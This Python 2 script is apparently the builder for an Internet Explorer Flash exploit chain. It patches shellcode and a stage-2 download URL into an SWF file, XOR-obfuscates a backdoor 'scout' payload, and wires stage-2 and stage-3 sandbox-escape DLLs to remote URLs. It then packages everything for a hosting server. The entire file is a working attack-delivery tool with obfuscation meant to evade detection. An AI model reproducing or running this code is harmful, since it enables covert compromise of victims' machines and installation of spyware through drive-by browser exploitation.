ht-2013-004-IE/exploit.py
import sys
import os
import warnings
import zlib
sys.path.append(os.getcwd() + '/' + "pylzma.egg")
import pylzma
import struct
import random
import shutil
from zipfile import ZipFile
import zipfile
import time
def random_id(length):
number = '0123456789'
alpha = 'abcdefghijklmnopqrstuvwxyz'
id = ''
for i in range(0,length,2):
id += random.choice(number)
id += random.choice(alpha)
return id
def four_byte_xor(buf, key):
out = ''
for i in range(0,len(buf)/4):
c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0]
c ^= key
out += struct.pack("<I", c)
reminder = len(buf) % 4
for i in range(len(buf)-reminder, len(buf)):
c = struct.unpack("B", buf[i])[0]
c ^= 0x41
out += struct.pack("B", c)
return out
def byteArray2String(param):
with warnings.catch_warnings():
warnings.simplefilter('ignore')
tmp = os.tempnam()
f = open(tmp, 'wb')
f.write(param)
f.close()
f = open(tmp, 'rb')
result = f.read()
f.close()
try:
os.unlink(tmp)
except WindowsError:
print "I/O error when deleting %s file"%(tmp)
return result
def create_swf():
XOR_OFFT = 4 * 2
URL_OFFT = 8 * 2
# decompress swf
compressed_swf = open("resources/exploit.swf", 'rb').read()
swf_buff = zlib.decompress(compressed_swf[8:])
swf_buff = swf_buff.replace("ht-201", "abc123")
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")
# get offset to shellcode
stage2_offset = swf_buff.find(b"00000000000000006408908F")
if stage2_offset == 0:
print "[!!] Gadget for shellcode not found"
sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset)
swf_bytearray = bytearray(swf_buff)
# replace shellcode
shellcode = open("resources/shellcode", 'rb').read()
hex_shellcode = shellcode.encode('hex')
for i in range(len(hex_shellcode)):
swf_bytearray[stage2_offset + i] = hex_shellcode[i]
# modify URL
hex_url = stage2_url.encode('hex') + "0000"
for i in range(len(hex_url)):
swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]
# modify xor key
hex_xorkey = ("%08x" % binary_xor_key)
swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]
# compress swf
uncompressed_len = len(swf_bytearray)
uncompressed_len += len("ZWS\x0d")
uncompressed_len += 4 # + se stessa
print "[+] Uncompressed len: 0x%x" %(uncompressed_len)
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
compressed_len = len(lzma_buff) - 5
print "[+] Compressed len: 0x%x" %(compressed_len)
output_buff = "ZWS\x0d"
output_buff += struct.pack("<L", uncompressed_len)
output_buff += struct.pack("<L", compressed_len)
output_buff += lzma_buff
# write it
open(swf_random_name, 'wb').write(output_buff)
def binpatch(string, placeholder, replacement):
return string[0:string.find(placeholder)] + replacement + string[string.find(placeholder)+len(replacement):]
random.seed()
base_url = sys.argv[1]
if not base_url.endswith('/'):
base_url += '/'
backdoor_filename = sys.argv[2]
server_zip_filename = sys.argv[3]
final_scout_name = sys.argv[4]
host_url = sys.argv[5]
binary_xor_key = random.randint(0xdead, 0xdeadbeef-1)
scout_random_name = random_id(12) + ".dat"
stage2_random_name = random_id(12) + ".dat"
stage3doc_random_name = random_id(12) + ".dat"
stage3java_random_name = random_id(12) + ".dat"
dll_random_name = random_id(12) + ".dat"
doc_random_name = random_id(12) + ".docm"
if not os.path.exists("c:\\RCS\\DB\\config\\test"):
swf_random_name = random_id(12) + ".swf"
else:
swf_random_name = "avtest.swf"
stage2_url = base_url + stage2_random_name
swf_url = base_url + swf_random_name
scout_url = base_url + scout_random_name
stage3doc_url = base_url + stage3doc_random_name
stage3java_url = base_url + stage3java_random_name
print "[+] base_url:\t %s" %(base_url)
print "[+] backdoor_filename:\t %s" %(backdoor_filename)
print "[+] backdoor_filename:\t %s" %(backdoor_filename)
print "[+] final_scout_name:\t %s" %(final_scout_name)
print "[+] host_url:\t %s" %(host_url)
print "[+] SWF:\t %s" %(swf_url)
print "[+] STAGE2:\t %s" %(stage2_random_name)
print "[+] STAGE3_DOC:\t %s" %(stage3doc_random_name)
print "[+] STAGE3_JAVA:\t %s" %(stage3java_random_name)
print "[+] SCOUT:\t %s" %(scout_random_name)
print "[+] XOR key:\t %x" %(binary_xor_key)
create_swf()
# create scout
backdoor_buff = open(backdoor_filename, 'rb').read()
open(scout_random_name, 'wb').write(four_byte_xor(backdoor_buff, binary_xor_key))
# create stage 2
stage2_buff = open("resources/Shellcode-Stage2-IE.exe", 'rb').read()
stage2_buff = binpatch(stage2_buff, "EXE_URL".encode("utf_16")[2:], scout_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "EXE_NAME".encode("utf_16")[2:], final_scout_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DOCESCAPE_URL".encode("utf_16")[2:], stage3doc_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "JAVAESCAPE_URL".encode("utf_16")[2:], stage3java_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DOC_TEMP_NAME".encode("utf_16")[2:], doc_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "DLL_TEMP_NAME".encode("utf_16")[2:], dll_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "SCOUT_TEMP_NAME".encode("utf_16")[2:], scout_random_name.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = binpatch(stage2_buff, "ORIGINAL_URL".encode("utf_16")[2:], host_url.encode("utf_16")[2:] + "\x00\x00")
stage2_buff = stage2_buff.replace("\xef\xbe\xad\xde", struct.pack("<L", binary_xor_key))
open(stage2_random_name, 'wb').write(four_byte_xor(stage2_buff, binary_xor_key))
# create stage 3 - java
stage3_buff = open("resources/PMIEFuck-Java.dll", 'rb').read()
open(stage3java_random_name, 'wb').write(four_byte_xor(stage3_buff, binary_xor_key))
# create stage3 blob (lib + doc)
stage3_lib_buff = open("resources/PMIEFuck-WinWord.dll", 'rb').read()
stage3_lib_len = len(stage3_lib_buff)
stage3_doc_buff = open("resources/owned.docm", 'rb').read()
stage3_doc_len = len(stage3_doc_buff)
stage3_buff = struct.pack("<L", stage3_lib_len)
stage3_buff += struct.pack("<L", stage3_doc_len)
stage3_buff += stage3_lib_buff
stage3_buff += stage3_doc_buff
open(stage3doc_random_name, 'wb').write(four_byte_xor(stage3_buff, binary_xor_key))
# zip per server
os.system("zip.exe -r %s *swf *dat" %(server_zip_filename))